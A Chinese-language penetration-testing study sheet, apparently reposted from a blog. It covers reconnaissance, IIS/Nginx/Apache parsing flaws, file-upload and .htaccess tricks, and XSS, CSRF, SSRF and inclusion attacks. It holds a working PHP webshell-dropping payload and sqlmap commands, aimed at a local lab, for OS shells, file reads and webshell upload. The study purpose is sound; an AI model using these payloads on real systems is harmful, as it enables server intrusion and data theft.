信息收集
a、服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
b、网站指纹识别(包括,cms,cdn,证书等),dns记录
c、whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
e、子域名收集,旁站,C段等
f、google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
g、扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
h、传输协议,通用漏洞,exp,github源码等
线下工具:Nmap/APPSacn/AWVS/Nessus/OpenVas/Goby/Burpsuite/Xray/御剑/北极熊/…
线上工具:站长之家/备案查询/微步社区/子域名扫描/端口扫描/证书查询/天眼查/…
信息内容:
—-服务器内容:
——–真实IP/开放端口–>应用程序–>版本信息
——–防火墙–>(软/硬)
——–操作系统–>类型–>版本信息
中间件–>IIS/Apache/Nginx/Tomcat/Jboss/WEBlogic/Websphere/GlassFish/Lighthttpd–>版本号
一、常见解析漏洞
1.iis 5.x/6.0解析漏洞
目录解析漏洞:(前提是有一个在网站目录下创建目录的权限,并且将文件夹为x.asp,该文件夹下所有文件都会被当成asp文件来解析)下列的jpg文件也会被当成asp文件来解析
/xx.asp/xx.jpg
文件解析:(分号后面的不会被解析)xx.asp;jpg会被当成 xx.asp解析
xx.asp;jpg (文件解析)
其他后缀名:
1.asa 2.cer 3.cdx
2.iis 7.0/iis 7.5/Nginx <8.03畸形解析漏洞
利用方法:
在默认Fast-CGi开启状况下,攻击者上传一个名字为shell.jpg,内容为:<?php fputs(fopen("shell.php","w")),'<?php eval($_POST[cmd])?'>;?>的文件,然后访问shell.jpg/.php,在这个漏洞其实是出现在php-cgi的漏洞,所以其实根nginx自身是无关的,这个目录下就会生成一句话木马shell.php。
(1)、iis7.5
a.aspx,a;a.aspx.jpg…jpg
3.Nginx <8.03空字节代码执行漏洞
版本要求:
nginx0.5.*
nginx0.6.*
nginx0.7<=0.7.65
nginx0.8<=0.8.37
利用方法
nginx在图片中嵌入php代码然后通过访问xx.jpg%00.php来执行其中的代码
(1)空字节
xxx.jpg%00.php
(2)fix_pathinfo
/1.jpg/1.php
/1.jpg%00.php
/1.jpg/%20\0.php
4.Apache解析漏洞
利用方法
apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断
比如一个文件名为x1.x2.x3的文件,apache会从x3的位置往x1的位置开始尝试解析如果x3不属于apache能解析的扩展名,那么apache会尝试去解析x2的位置,这样一直往前尝试,知道遇到一个能解析的扩展名为止
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个shell.php.rara.jpg.png(把知道的后缀都写上),去测试是否是合法后缀shell.php任意不属于黑名单且也不属于apache解析白名单的名称
(1)从右到左开始判断
1.php.php123
1.php.xxx
1.php.
1.php._
(2)AddHandler php5-script.php
2.php.jpg
(3)AddType application/x-httpd-php.jpg (即使扩展名是jpg一样能以php方式进行)
5.其他
(1) 在windows环境下,xx.jpg【空格】或xx.jpg.这类文件都不允许存在的,若这样命名,windows会默认出去空格或点,可以通过抓包,在文件名后加一个空格或者绕过黑名单,若上传成功,空格和点都会被window自动消除,这样也可以getshell
(2)如果在apache中,.htaccess中可被执行.且可被上传,那可以尝试在.htaccess中写入
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
然后再上传shell.jpg的木马,这样shell.jpg就可解析为php文件
还需要上传一个shell.jpg(里面写入一个创建shell.php的文件)
——–数据库–>Access/mssql/mysql/oracle/db2/postgresql/SQLite/–版本号
——–CMS–个人开发/通用CMS–版本号
不同数据库注入手注
—-SQLmap自动化注入
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –is-dba //判断目标数据库用户是否是管理员TRUE/FALSE
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –users //查看数据库用户
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –os-cmd=“whoami” //在DBA前提下,执行单条命令
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –os-shell //在DBA前提下,获取交互式的shell
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –sql-shell //返回SQL的交互式shell
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –file-read=“D:\phpStudy\PHPTutorial\WWW\sqlilabs\Less-1\index2.php” //读取下载目标站点的指定文件
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –file-write 本地一句话木马绝对路径 –file-dest 网站一句话木马绝对路径+名称.PHP //上传木马到目标网站绝对路径
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –roles //查看用户权限
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –threads 1 //设置线程数,默认为1
###SQLMap查缺补漏###
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2” –skip=“newid” //跳过参数检测
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2” –prefix ") –suffix # //指定PAYLOAD的闭合和注释方式
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1&newid=2” –banner //查询数据库的版本信息
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –technique T //缩写:BEUSTQ
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
python2 sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” –hostname //查询主机名
—-绕过WAF/Tamper脚本
–XSS跨站
XSS(Cross Site Scripting)跨站脚本,较合适的方式应该叫做跨站脚本攻击
由于程序员在编写代码时,未对用户输入的数据进行处理、或者处理不当,从而导致恶意payload代码被执行。
简单来说是对非预期输入的过分信任!
—-存储/反射/DOM型–>挖掘–>钓鱼
—-XSS攻击工具–>beef–>钓鱼
–CSRF攻击
CSRF跨站请求伪造,,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
最大的区别就是CSRF没有盗取用户的cookie,而是直接的利用了浏览器存储的cookie让用户去执行某个动作。
—-GET/POST攻击手法–>利用条件
–SSRF攻击
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等
—-内网信息收集/任意文件读取/
文件上传是Web应用的必备功能之一,比如,上传头像、上传简历、上传文档等。
那么上传的过程中如果对用户上传的文件未校验或者校验不严格、过滤不严格,那么恶意用户就可以恶意修改上传文件的类型或者绕过上传限制,如果上传了木马文件,并且被服务器解析,那么就获取了该站点的webshell。
客户端验证–>js脚本
—-服务端验证–>MIME文件类型/文件头(GIF89a)/00截断/htaccess/黑白名单/条件竞争上传/二次型渲染绕过/
本地包含(LFI):包含本地的文件,当作脚本代码执行
远程包含(RFI):包含远程上的一些文件,当作脚本代码去执行
include
include_once
require
require_once
危险函数–>远程和本地–Getshell/读取文件—-》挖掘–>URL
不同中间件解析漏洞–>符合版本条件/配合其他漏洞
–文件下载
—->漏洞挖掘(参数测试)–>审查元素/代码设计–>下载敏感信息–进一步渗透
0x01 代码执行
1.eval
2.assert
3.call_user_func
4.call_user_fuc_array
5.create_function
6.preg_replace
7.array_map
8.array_filter
9.usort
10.${}
0x02 命令执行
1.system
2.exec
3.passthru
4.shell_exec
5.反引号
6.ob_start
一句话木马免杀–>PHP代码执行/系统命令执行–>命令执行绕过
xml语法–>POST数据中漏洞挖掘–>执行命令…
对于URL跳转的实现一般会有几种实现方式:
META标签内跳转
Javascript跳转
Header头跳转
重定向–>钓鱼
从不同的架构来讲主要分为两种:
基于B/S架构的暴力破解:
登录框(用户名和密码)
URL参数(用户id值.目录名.参数名等)
验证码(验证码接收处)
基于C/S架构的暴力破解:
windows远程桌面
ssh远程桌面
数据库账号密码(mysql mssql Oracle等)
ftp账号密码
字典制作–>BS架构与CS架构暴力破解–验证码/tocken
水平垂直越权
手机邮箱轰炸/支付漏洞/修改订单/密码找回/验证码爆破
BS/CS
漏洞原理–利用方式–中间件漏洞
部分相关魔法方法:
__construct():构造函数,当对象创建(new)时会自动调用。unserialize()反序列化时是不会自动调用的。
__destruct():析构函数,当对象被销毁时会自动调用。
__wakeup():unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用
__wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用
原文链接:https://blog.csdn.net/wl7979/article/details/112653256?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165918471416781818737407%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165918471416781818737407&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~times_rank-5-112653256-null-null.nonecase&utm_term=%E5%85%8D%E5%A4%87%E6%A1%88cdn
原创文章,作者:优速盾-小U,如若转载,请注明出处:https://www.cdnb.net/bbs/archives/3179